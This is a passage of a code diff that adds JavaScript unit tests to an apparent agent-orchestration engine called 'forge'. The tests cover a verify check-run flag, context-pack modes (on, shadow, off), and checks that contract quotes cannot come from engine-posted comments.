+ it("with the flag unset no Checks API call is made and the run log is identical (golden comparison)", async () => {
3899
+ const runs = [];
3900
+ for (const extra of [{}, { verify: { mode: "local" } }, { verify: { mode: "local", checkRun: false } }]) {
3901
+ const dir = tmpDir("vcr-off-");
3902
+ const w = withChecks();
3903
+ const r = await run(w, { dir, ...extra });
3904
+ assert.equal(w.checkRuns.length, 0);
3905
+ runs.push({ reason: r.terminalReason, log: strip(readLog(dir, 7)), waits: w.calls.length });
3906
+ }
3907
+ assert.ok(!runs[0].log.some((e) => e.event === "VERIFY"));
3908
+ assert.deepEqual(runs[1], runs[0]); assert.deepEqual(runs[2], runs[0]);
3909
+ // the same lane without the seam at all: the golden reference
3910
+ const dir = tmpDir("vcr-ref-");
3911
+ const ref = world();
3912
+ const rr = await run(ref, { dir });
3913
+ assert.deepEqual({ reason: rr.terminalReason, log: strip(readLog(dir, 7)) }, { reason: runs[0].reason, log: runs[0].log });
3914
+ });
3915
+
3916
+ it("merge policy all: the lane's own check is ignored by the CI wait only when the flag is on", async () => {
3917
+ const seen = [];
3918
+ for (const extra of [{}, on]) {
3919
+ const w = withChecks();
3920
+ w.io.waitCiGreen = async (...a) => { seen.push(a); return { rc: 0, text: `CI_GATE_HEAD: ${w.head}` }; };
3921
+ assert.equal((await run(w, { mergeWait: "all", ...extra })).terminalReason, "merged");
3922
+ }
3923
+ assert.equal(seen[0].length, 3, "flag off: the 3-argument call is unchanged");
3924
+ assert.deepEqual(seen.at(-1)[3], { ignore: ["forgedock/verify"] });
3925
+ });
3926
+
3927
+ it("a Checks API failure never fails the lane: recorded as an anomaly and a VERIFY event with posted false", async () => {
3928
+ const dir = tmpDir("vcr-fail-");
3929
+ const w = withChecks({}, "HTTP 403: Resource not accessible by integration");
3930
+ const r = await run(w, { dir, ...on });
3931
+ assert.equal(r.terminalReason, "merged");
3932
+ assert.equal(w.checkRuns.length, 1);
3933
+ const v = readLog(dir, 7).find((e) => e.event === "VERIFY");
3934
+ assert.equal(v.posted, false); assert.match(v.error, /403/);
3935
+ assert.match(traj(w).at(-1), /forgedock\/verify check run not posted[\s\S]*403/);
3936
+ // a lane without the seam at all is the same anomaly, never a crash
3937
+ const w2 = world();
3938
+ assert.equal((await run(w2, on)).terminalReason, "merged");
3939
+ assert.match(traj(w2).at(-1), /forgedock\/verify check run not posted.*no Checks API seam/);
3940
+ });
3941
+ });
3942
+
3943
+ describe("context pack modes (forge#4275)", () => {
3944
+ const FACTS = { issue: 7, links: [{ number: 3, rel: "parent", kind: "issue", title: "Epic", state: "OPEN", code: null, result: null, body: "Parent says: the zebra protocol must be kept." }], attempts: [], ledger: [], facts: [".forge/test-map.json"], errors: [] };
3945
+ const withPack = (o = {}) => { const w = world(o); w.packCalls = []; w.io.contextFacts = async (a) => { w.packCalls.push(a); return FACTS; }; return w; };
3946
+ const ctx = (w) => w.comments.filter((c) => c.startsWith("<!-- FORGE:CONTEXT -->"));
3947
+
3948
+ it("on: the pack goes into the plan prompt as hints, FORGE:CONTEXT and CONTEXT_PACK are recorded", async () => {
3949
+ const w = withPack(), dir = tmpDir("core-");
3950
+ const r = await run(w, { dir, contextPack: { mode: "on" } });
3951
+ assert.equal(r.terminalReason, "merged");
3952
+ const plan = builders(w)[0][4];
3953
+ assert.ok(plan.startsWith(builderPlanPrompt(7)));
3954
+ assert.match(plan, /Context pack \(hints, not proof[\s\S]*- #3 \[parent\] OPEN "Epic"[\s\S]*zebra protocol/);
3955
+ assert.equal(w.packCalls.length, 1);
3956
+ assert.equal(w.packCalls[0].base, "origin/staging");
3957
+ assert.equal(ctx(w).length, 1);
3958
+ assert.match(ctx(w)[0], /<details><summary>Context pack: 2 item\(s\), \d+ bytes, 0 dropped \(mode on, lane first/);
3959
+ const ev = readLog(dir, 7).find((e) => e.event === "CONTEXT_PACK");
3960
+ assert.deepEqual([ev.mode, ev.lane_type, ev.items, ev.sources.graph, ev.sources.facts, ev.cached], ["on", "first", 2, 1, 1, false]);
3961
+ assert.ok(ev.bytes > 0 && Number.isInteger(ev.truncated));
3962
+ assert.ok(w.telemetry.some((x) => x.event === "CONTEXT_PACK"));
3963
+ const term = readLog(dir, 7).find((e) => e.event === "RUN_TERMINAL");
3964
+ assert.deepEqual([term.context_pack, term.lane_type], ["on", "first"]);
3965
+ });
3966
+
3967
+ it("contract validation never accepts a quote that occurs only in a FORGE:CONTEXT (or any engine-posted <!-- FORGE:) comment (#4297)", async () => {
3968
+ const Q = "the zebra protocol must be kept by every caller of foo.";
3969
+ const k = { ...CONTRACT, requirements: [...CONTRACT.requirements, { id: "R2", quote: Q, disposition: "deliver" }] };
3970
+ const withComment = (body, association) => { const w = world({ contract: k, fixedContract: k, reviews: [conf({}, k)] }); const gh = w.io.gh;
3971
+ w.io.gh = async (a) => { const out = await gh(a); if (a.slice(0, 2).join(" ") !== "issue view" || a.includes("milestone")) return out;
3972
+ return JSON.stringify({ ...JSON.parse(out), comments: [{ body, authorAssociation: association, author: { login: association === "NONE" ? "forge[bot]" : "maint" } }] }); };
3973
+ return w; };
3974
+ for (const body of [`<!-- FORGE:CONTEXT -->\n<details>\n${Q}\n</details>`, ` <!-- FORGE:DECISION -->\n${Q}`]) {
3975
+ const r = await run(withComment(body, "NONE"));
3976
+ assert.equal(r.code, "contract.invalid", body);
3977
+ }
3978
+ // P2: the same quote from a maintainer's comment stays quotable
3979
+ assert.equal((await run(withComment(`Also: ${Q}`, "OWNER"))).terminalReason, "merged");
3980
+ });
3981
+
3982
+ it("shadow (default): compiled and recorded, the plan prompt is unchanged", async () => {
3983
+ const w = withPack(), off = world(), dir = tmpDir("core-");
3984
+ await run(w, { dir });
3985
+ await run(off, { contextPack: { mode: "off" } });
3986
+ assert.equal(builders(w)[0][4], builders(off)[0][4]);
3987
+ assert.ok(!builders(w)[0][4].includes("Context pack"));
3988
+ assert.equal(ctx(w).length, 1);
3989
+ assert.equal(readLog(dir, 7).find((e) => e.event === "CONTEXT_PACK").mode, "shadow");
3990
+ });
3991
+
3992
+ it("off: no gathering, no record, no event; the run is today's", async () => {
3993
+ const w = withPack(), dir = tmpDir("core-");
3994
+ const r = await run(w, { dir, contextPack: { mode: "off" } });
3995
+ assert.equal(r.terminalReason, "merged");
3996
+ assert.equal(w.packCalls.length, 0);
3997
+ assert.equal(ctx(w).length, 0);
3998
+ assert.ok(!readLog(dir, 7).some((e) => e.event === "CONTEXT_PACK"));
3999
+ assert.ok(!w.telemetry.some((x) => x.event === "CONTEXT_PACK"));
4000
+ assert.equal(readLog(dir, 7).find((e) => e.event === "RUN_TERMINAL").context_pack, "off");
4001
+ });
4002
+
4003
+ it("a contract cannot quote the pack: requirements are checked against the issue only", async () => {
4004
+ const bad = { ...CONTRACT, requirements: [{ id: "R1", quote: "Parent says: the zebra protocol must be kept.", disposition: "deliver" }] };
4005
+ const w = withPack({ contract: bad });
4006
+ const r = await run(w, { contextPack: { mode: "on" } });
4007
+ assert.equal(r.terminalReason, "needs-human");
4008
+ assert.equal(r.code, OUTCOME_CODES.CONTRACT_INVALID);
4009
+ });
4010
+
4011
+ it("a gather failure never fails the run: anomaly, prompt unchanged", async () => {
4012
+ const w = world(); w.io.contextFacts = async () => { throw new Error("gh down"); };
4013
+ const r = await run(w, { contextPack: { mode: "on" } });
4014
+ assert.equal(r.terminalReason, "merged");
4015
+ assert.ok(!builders(w)[0][4].includes("Context pack"));
4016
+ assert.ok(traj(w)[0].includes("Context pack not compiled"));
4017
+ });
4018
+
4019
+ it("write-back: the terminal FORGE:STATE carries the typed outcome code and failure classes the compiler reads", async () => {
4020
+ const w = world({ reviews: [bad(), bad()] });
4021
+ w.leaseWrites = []; w.io.projector = { readState: async () => null, writeState: async (_i, st) => { w.leaseWrites.push(st); } };
4022
+ const r = await run(w);
4023
+ assert.equal(r.terminalReason, "needs-human");
4024
+ const last = w.leaseWrites.at(-1);
4025
+ assert.deepEqual([last.terminal, last.terminalReason, last.terminalCode, last.failureClasses], [true, "needs-human", OUTCOME_CODES.CONFORMANCE_UNIMPLEMENTED, [OUTCOME_CODES.CONFORMANCE_UNIMPLEMENTED]]);
4026
+ const m = world(); m.leaseWrites = []; m.io.projector = { readState: async () => null, writeState: async (_i, st) => { m.leaseWrites.push(st); } };
4027
+ await run(m);
4028
+ assert.deepEqual([m.leaseWrites.at(-1).terminalCode, m.leaseWrites.at(-1).failureClasses], [OUTCOME_CODES.COMPLETED, []]);
4029
+ });
4030
+
4031
+ it("forge.yaml engine.context_pack* is read flat; invalid mode is ignored", () => {
4032
+ const d = tmpDir("ctxcfg-");
4033
+ writeFileSync(join(d, "forge.yaml"), "engine:\n context_pack: on\n context_pack_sources: graph,attempts\n context_pack_bytes: 4096\n");
4034
+ assert.deepEqual(readContextPack(d), { mode: "on", sources: "graph,attempts", bytes: 4096 });
4035
+ writeFileSync(join(d, "forge.yaml"), "engine:\n context_pack: maybe\n");
4036
+ assert.equal(readContextPack(d), undefined);
4037
+ writeFileSync(join(d, "forge.yaml"), "engine:\n conformance: shadow\n");
4038
+ assert.equal(readContextPack(d), undefined);
4039
+ });
4040
+ });
4041
+
3636
4042
  describe("review trigger (#4273): shadow logs and always reviews, enforce skips untriggered lanes, off is today", () => {
3637
4043
  const cold = (o) => { const w = world(o); w.io.hotspots = async () => ({ enabled: true, file_lines: 2000, growth_lines: 150, files: [] }); return w; };
3638
4044
  const trig = (dir) => readLog(dir, 7).filter((e) => e.event === "REVIEW_TRIGGER");